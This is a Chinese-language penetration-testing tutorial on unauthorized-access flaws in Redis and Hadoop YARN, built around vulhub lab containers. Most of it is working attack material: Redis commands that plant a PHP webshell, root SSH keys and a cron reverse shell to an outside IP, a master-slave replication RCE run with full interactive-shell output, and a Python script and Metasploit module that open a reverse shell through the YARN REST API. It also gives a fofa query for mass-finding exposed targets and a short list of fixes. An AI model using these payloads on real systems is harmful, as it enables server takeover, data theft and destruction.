未授权访问漏洞-Redis未授权访问

未授权概述

未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面配置不当导 致其他用户可以无需认证授权直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。

常见未授权访问漏洞

  • Redis 未授权访问漏洞

  • Docker 未授权访问漏洞

  • MongoDB 未授权访问漏洞

  • Jenkins 未授权访问漏洞

  • Memcached 未授权访问漏洞

  • JBOSS 未授权访问漏洞

  • VNC 未授权访问漏洞

  • ZooKeeper 未授权访问漏洞

  • Rsync 未授权访问漏洞

  • Atlassian Crowd 未授权访问漏洞

  • CouchDB 未授权访问漏洞

  • Elasticsearch 未授权访问漏洞

  • Hadoop 未授权访问漏洞

  • Jupyter Notebook 未授权访问漏洞

Redis未授权访问

Redis简介

https://www.redis.com.cn/redis-intro.html

Redis 是完全开源免费的,一个灵活的高性能 key-value 数据结构存储,可以用来作为数据库、缓存和消息队列。

应用场景

Redis 主要有两个应用场景:

1.存储 缓存 用的数据;
2.需要高速读/写的场合使用它快速读/写;

Redis 架构

Redis 主要由有两个程序组成:

Redis 客户端 redis-cli
Redis 服务器 redis-server

客户端、服务器可以位于同一台计算机或两台不同的计算机中。

漏洞发现

  • 端口

Redis 服务默认监听在6379端口上

MongoDB:27017
Memcached:11211
Jboss:8080
VNC:5900、5901
Docker:2375

  • 端口探测

nmap端口扫描

1
2
3
4
5
nmap -v -Pn -p 6379 -sV IP 

-v:显示过程
-Pn:no ping
-sV:版本探测

Redis常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
redis连接远程服务器:
redis-cli -h host -p port -a password

set testkey "Hello World" #设置键testkey的值为字符串
get testkey #获取键testkey的内容

set score 99 #设置键score的值为99
incr score #使用INCR命令将score的值增加1
get score #获取键score的内容

keys * #列出当前数据库中所有的键
config set dir /home/test #设置工作目录
config set dbfilename redis.rdb #设置备份文件名
config get dir #检查工作目录是否设置成功
config get dbfilename #检查备份文件名是否设置成功
save #进行一次备份操作
flushall #删除所有数据
del key #删除键为key的数据

Redis历史漏洞

Redis未授权访问

因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据。

1.导致敏感信息泄露
2.执行 flushall 可清空所有数据
3.通过数据备份功能往磁盘写入后门文件(webshell、定时任务)
4.如果Redis以root身份运行,可以给root账户写入SSH公钥文件,免密码登录

Redis主从复制RCE

在 Reids 4.x 之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实 现一个新的 Redis命令,通过c语言编译并加载恶意.so文件,达到代码执行的目的

漏洞利用

漏洞环境搭建

docker-compose.yml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
version: '2'
services:
# Redis未授权访问
redis-unauth:
image: registry.cn-hangzhou.aliyuncs.com/mingy123/redis-unauth:latest
ports:
- "6379:6379"
- "8080:80"
- "2222:22"
# redis主从复制RCE
redis-master-slave-copy:
image: vulhub/redis:4.0.14
ports:
- "6378:6379"
1
docker-compose up -d

漏洞利用方法

1.通过redis数据备份功能结合WEB服务,往WEB网站根目录写入一句话木马,从而得到WEB网站权限
2.通过redis数据备份功能写定时任务,通过定时任务反弹Shell
3.通过redis数据备份功能写SSH公钥,实现免密登录linux服务器

  • 安装 redis-cli 客户端

1.包管理器安装

1
apt install redis-tools

2.源码安装

1
2
3
4
5
6
wget http://download.redis.io/releases/redis-6.0.3.tar.gz
tar -zxvf redis-6.0.3.tar.gz //解压
cd redis-6.0.3/
make //编译
cd src/
cp redis-cli /usr/bin //客户端连接程序

写webshell

要把一句话写入网站根目录,有两个前提条件,

第一:知道目标网站根目录绝对路径

第二:对目标网站根目录有写入权限,通过对前面phpinfo页面的信息收集,我们可以知道目标网站根目录绝对路径为:/var/www/html

通过目录扫描发现存在 file.php 页面,报错信息显示了网站根目录

image-20240226084809327

  • 写webshell
1
2
3
4
5
6
7
8
9
redis-cli -h 10.1.1.200 -p 6379     #连接redis服务器  

config set dir /var/www/html #设置工作目录

config set dbfilename shell.php #设置备份文件的文件名

set x "<?php @eval($_POST['test']);?>" #添加一个键”x”,值为一句话木马

save #保存

image-20240226084928454

getshellk

image-20240226085028331

写SSH公钥

攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,如果运行 Redis的用户是 root 用户,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以无需密码直接登录目标服务器。

1
2
3
4
#生成ssh密钥
ssh-keygen -t rsa

#默认情况下,生成的ssh密钥在用户家目录下的 .ssh 目录下

image-20240226091520486

1
2
3
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt

cat /tmp/foo.txt | redis-cli -h 47.236.16.67 -p 6379 -x set m
1
2
3
4
5
6
7
8
9
redis-cli -h 47.236.16.67 -p 6379

config set dir /root/.ssh/

config set dbfilename authorized_keys

save

ssh root@47.236.16.67 -p 2222 -i /root/.ssh/id_rsa

image-20240226092736926

写定时任务反弹shell

定时任务位置:

  • debian与ubuntu的用户计划任务位置为: /var/spool/cron/crontabs/用户名 ,如/var/spool/cron/crontabs/root

  • centos与redhat的用户计划任务位置为: /var/spool/cron/用户名,如/var/spool/cron/root

1
2
3
4
5
6
7
8
9
redis-cli -h 47.236.16.67 -p 6379

config set dir /var/spool/cron

config set dbfilename root

set xxx "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/47.236.16.67/4433 0>&1\n\n"

save

无法反弹shell的原因 :较新的Debian、Ubuntu Linux系统用户计划任务有严格的格式要求,redis在进行文件写入时,会添加redis的信息头与信息尾,破坏计划任务格式。

检测计划任务格式是否合规:

1
crontab -u root /var/spool/cron/crontabs/root

可以看到通过redis写入的计划任务不符合计划任务格式

主从复制RCE

如果把数据存储在单个Redis的实例中,当读写数据量比较大的时候,服务端就很难承受。为了应对这 种情 况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为 备份机,其中 主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻 流量的压力,算是一 种通过牺牲空间来换取效率的缓解方式。

在 Reids 4.x 之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的 Redis命令,通 过写C语言并编译出 .so 文件。

1、手动编译so扩展文件

1
2
3
4
cd /root/
git clone https://github.com/puckiestyle/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand
make

漏洞利用

脚本利用Redis主从复制RCE

https://github.com/0671/RabR
https://github.com/puckiestyle/RedisModules-ExecuteCommand
https://github.com/Ridter/redis-rce
https://github.com/Dliv3/redis-rogue-server
https://github.com/vulhub/redis-rogue-getshell

1
2
3
4
5
cd /root/
git clone https://github.com/0671/RabR.git
cd RabR

python3 redis-attack.py -r target.yijinglab.com -p 52257 -L 8.219.161.88 --brute
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
root@iZt4n2kzwn9qbw65e75x3qZ:~/RabR# python3 redis-attack.py -r target.yijinglab.com -p 52257 -L 8.219.161.88 --brute

██████╗ █████╗ ██████╗ ██████╗
██╔══██╗██╔══██╗██╔══██╗██╔══██╗
██████╔╝███████║██████╔╝██████╔╝
██╔══██╗██╔══██║██╔══██╗██╔══██╗
██║ ██║██║ ██║██████╔╝██║ ██║
╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝ ╚═╝ ╚═╝
Redis-Attack By Replication(linux:4.x/5.x win:>=2.8) author:0671

[*] Connecting to target.yijinglab.com:52257...
[*] Redis version: 4.0.14
[*] OS: Linux 5.4.0-164-generic x86_64
[*] Arch_bits: 64
[*] Redis dbsize: 0
[√] Can use master-slave replication to load the RedisModule to attack the redis
[*] Saveing dbdata
[*] Setting filename
[*] Sending SLAVEOF command to server
[+] Accepted connection from 139.196.159.200:52257
[+] Accepted connection from 139.196.159.200:52257
[*] Start listening on 8.219.161.88:16379
[*] Tring to run payload
[+] Accepted connection from 222.77.96.237:43728
[*] Closing rogue server...
[+] What do u want ? [i]nteractive shell or [r]everse shell or [e]xit: i
[+] Interactive shell open , use "exit" to exit...
$ id
uid=999(redis) gid=999(redis) groups=999(redis)
$ whoami
uredis
$ uname -a
Linux 66cc81397dee 5.4.0-164-generic #181-Ubuntu SMP Fri Sep 1 13:41:22 UTC 2023 x86_64 GNU/Linux
$ exit
[*] Clean up..
[*] Closing rogue server...
[*] Refuseing dbdata

image-20230404235205314

脚本运行异常报错解决方案

  1. 使用原版脚本

https://github.com/Ridter/redis-rce

1
git clone https://github.com/Ridter/redis-rce.git
  1. 使用时通过 -f 选项加载 exp.so, exp.so 在 RabR 脚本 exp/linux 目录下
1
python3 redis-rce.py -r target.yijinglab.com -p 59345 -L 8.219.161.88 -f ../RabR/exp/Linux/exp.so

脚本原理

1
python3 redis-attack.py -r target.yijinglab.com -p 52257 -L 8.219.161.88 --brute
  1. 首先连接目标 target.yijinglab.com 的 6379(Docker实际映射端口52257) 端口未授权redis服务

  2. 发送配置主从模式的命令到目标redis服务

命令如下:

1
2
slaveof 47.236.16.67 8899
config set dbfilename module.so
  1. 监听 8.219.161.88:8899 作为 redis 主机

  2. 目标机器(从机)从 8.219.161.88:8899 主机复制 module.so 内容保存到redis服务器的
    module.so文件中

  3. 目标机器加载 module.so 扩展模块

1
MODULE LOAD ./module.so
  1. 执行命令
1
system.exec "id"

Hadoop未授权访问

Hadoop简介

Hadoop 是一个开源的分布式计算框架,用于处理大规模数据集并进行分布式存储。它最初是由Apache软件基金会开发的,旨在处理超大规模数据集的计算和存储问题。

Hadoop框架的核心包括两个主要组件:

  • Hadoop分布式文件系统(Hadoop Distributed File System,简称 HDFS)

HDFS 是一种分布式文件系统,设计用于在具有大量廉价硬件的计算集群上存储和处理大型数据集。
它将大文件切分为多个块,并将这些块分布在集群中的多台机器上。这样可以实现数据的冗余备份和高可靠性,同时也能够提供高吞吐量的数据访问。

  • Hadoop MapReduce

MapReduce 是一种编程模型和处理框架,用于并行处理和生成大规模数据集。它将计算任务分解为多个独立的子任务,并将其在分布式环境中的多台机器上并行执行。MapReduce模型通过映射(Map)和归约(Reduce)两个阶段来完成数据处理任务。映射阶段将输入数据划分为多个独立的片段,并在各个计算节点上进行处理。归约阶段将映射阶段产生的中间结果进行合并和整理,最终生成最终的结果。

除了HDFS和MapReduce,Hadoop还提供了其他一些相关工具和组件,例如:

  • Hadoop YARN(Yet Another Resource Negotiator)用于集群资源管理和作业调度
  • Hadoop Common提供共享的库和工具支持。

漏洞成因

Hadoop YARN(Yet Another Resource Negotiator)用于集群资源管理和作业调度,是Hadoop集群的资源管理系统。

YARN 提供有默认开放在8088和8090的REST API(默认8088)允许用户直接通过API进行相关的应用创建、任务提交执行等操作,如果配置不当可导致未授权访问的问题,攻击者无需认证即可通过REST API部署任务来执行任意指令,最终完全控制服务器

漏洞环境

Hadoop YARN ResourceManager 未授权访问

docker-compose.yml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
version: '2'

services:
namenode:
image: vulhub/hadoop:2.8.1
environment:
- HDFS_CONF_dfs_namenode_name_dir=file:///hadoop/dfs/name
- CLUSTER_NAME=vulhub
- HDFS_CONF_dfs_replication=1
command: /namenode.sh

datanode:
image: vulhub/hadoop:2.8.1
environment:
- HDFS_CONF_dfs_datanode_data_dir=file:///hadoop/dfs/data
- CORE_CONF_fs_defaultFS=hdfs://namenode:8020
- CLUSTER_NAME=vulhub
- HDFS_CONF_dfs_replication=1
command: /datanode.sh

resourcemanager:
image: vulhub/hadoop:2.8.1
environment:
- CORE_CONF_fs_defaultFS=hdfs://namenode:8020
- YARN_CONF_yarn_log___aggregation___enable=true
command: /resourcemanager.sh
ports:
- "8088:8088"

nodemanager:
image: vulhub/hadoop:2.8.1
environment:
- CORE_CONF_fs_defaultFS=hdfs://namenode:8020
- YARN_CONF_yarn_resourcemanager_hostname=resourcemanager
- YARN_CONF_yarn_log___aggregation___enable=true
- YARN_CONF_yarn_nodemanager_remote___app___log___dir=/app-logs
command: /nodemanager.sh
1
docker-compose up -d

漏洞利用

利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import json

# 漏洞目标 URL
target = 'http://192.168.81.127:8088/'
# 反弹Shell 攻击机IP地址
lhost = '192.168.81.238'

url = f'{target}ws/v1/cluster/apps/new-application'
resp = requests.post(url).content.decode('utf-8')
resp_json = json.loads(resp)

app_id = resp_json['application-id']
url = f'{target}ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {'command': f'/bin/bash -i >& /dev/tcp/{lhost}/5566 0>&1'}
},
'application-type': 'YARN',
}
requests.post(url, json=data)

利用模块

1
2
3
4
5
6
7
msfconsole -q
use exploit/linux/http/hadoop_unauth_exec
set rhosts 192.168.81.127
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.81.238
set lport 5566
exploit

漏洞复现

访问 http://ip:8088 即可看到 Hadoop YARN ResourceManager WebUI 页面(未授权访问漏洞)

  1. 监听端口等待反弹 shell 连接
1
nc -lvvp 5566
  1. 调用 New Application API 创建 Application

POST请求 http://ip:8088/ws/v1/cluster/apps/new-application ,创建 Application

返回信息:

1
2
3
4
5
6
7
<NewApplication>
<application-id>application_1688957760252_0004</application-id>
<maximum-resource-capability>
<memory>8192</memory>
<vCores>4</vCores>
</maximum-resource-capability>
</NewApplication>
  1. 调用 Submit Application API 提交命令

POST请求 http://ip:8088/ws/v1/cluster/apps,提交执行命令

返回信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<app>
<id>application_1688957760252_0016</id>
<user>dr.who</user>
<name>get-shell</name>
<queue>default</queue>
<state>FAILED</state>
<finalStatus>FAILED</finalStatus>
<progress>0.0</progress>
<trackingUI>History</trackingUI>
<trackingUrl>http://1aed46d5d18f:8088/cluster/app/application_1688957760252_0016</trackingUrl>
<diagnostics>Application application_1688957760252_0016 failed 2 times due to AM Container for appattempt_1688957760252_0016_000002 exited with exitCode: 1 Failing this attempt.Diagnostics: Exception from container-launch. Container id: container_1688957760252_0016_02_000001 Exit code: 1 Exception message: /bin/bash: connect: Connection refused /bin/bash: /dev/tcp/192.168.81.238/5566: Connection refused Stack trace: ExitCodeException exitCode=1: /bin/bash: connect: Connection refused /bin/bash: /dev/tcp/192.168.81.238/5566: Connection refused at org.apache.hadoop.util.Shell.runCommand(Shell.java:972) at org.apache.hadoop.util.Shell.run(Shell.java:869) at org.apache.hadoop.util.Shell$ShellCommandExecutor.execute(Shell.java:1170) at org.apache.hadoop.yarn.server.nodemanager.DefaultContainerExecutor.launchContainer(DefaultContainerExecutor.java:236) at org.apache.hadoop.yarn.server.nodemanager.containermanager.launcher.ContainerLaunch.call(ContainerLaunch.java:305) at org.apache.hadoop.yarn.server.nodemanager.containermanager.launcher.ContainerLaunch.call(ContainerLaunch.java:84) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617) at java.lang.Thread.run(Thread.java:748) Container exited with a non-zero exit code 1 For more detailed output, check the application tracking page: http://1aed46d5d18f:8088/cluster/app/application_1688957760252_0016 Then click on links to logs of each attempt. . Failing the application.</diagnostics>
<clusterId>1688957760252</clusterId>
<applicationType>YARN</applicationType>
<applicationTags/>
<priority>-1</priority>
<startedTime>1688968516137</startedTime>
<finishedTime>1688969160731</finishedTime>
<elapsedTime>644594</elapsedTime>
<amContainerLogs>http://455c7d01c293:8042/node/containerlogs/container_1688957760252_0016_02_000001/dr.who</amContainerLogs>
<amHostHttpAddress>455c7d01c293:8042</amHostHttpAddress>
<allocatedMB>-1</allocatedMB>
<allocatedVCores>-1</allocatedVCores>
<runningContainers>-1</runningContainers>
<memorySeconds>658947</memorySeconds>
<vcoreSeconds>643</vcoreSeconds>
<queueUsagePercentage>0.0</queueUsagePercentage>
<clusterUsagePercentage>0.0</clusterUsagePercentage>
<preemptedResourceMB>0</preemptedResourceMB>
<preemptedResourceVCores>0</preemptedResourceVCores>
<numNonAMContainerPreempted>0</numNonAMContainerPreempted>
<numAMContainerPreempted>0</numAMContainerPreempted>
<preemptedMemorySeconds>0</preemptedMemorySeconds>
<preemptedVcoreSeconds>0</preemptedVcoreSeconds>
<logAggregationStatus>SUCCEEDED</logAggregationStatus>
<unmanagedApplication>false</unmanagedApplication>
<appNodeLabelExpression/>
<amNodeLabelExpression/>
</app>

漏洞发现

  • fofa语句
1
app="APACHE-hadoop-YARN"

批量获得hadoop资产

  • POST请求

http://ip:port/ws/v1/cluster/apps/new-application 发送POST请求,如果响应返回
application-id,则表明存在漏洞

修复

  1. 如无必要,关闭 Hadoop Web 管理页面。
  2. 开启身份验证,防止未经授权用户访问。
  3. 设置“安全组”访问控制策略,将 Hadoop 默认开放的多个端口对公网全部禁止或限制可信任的 IP 地址才能访问包括 8088 以及 WebUI 等相关端口。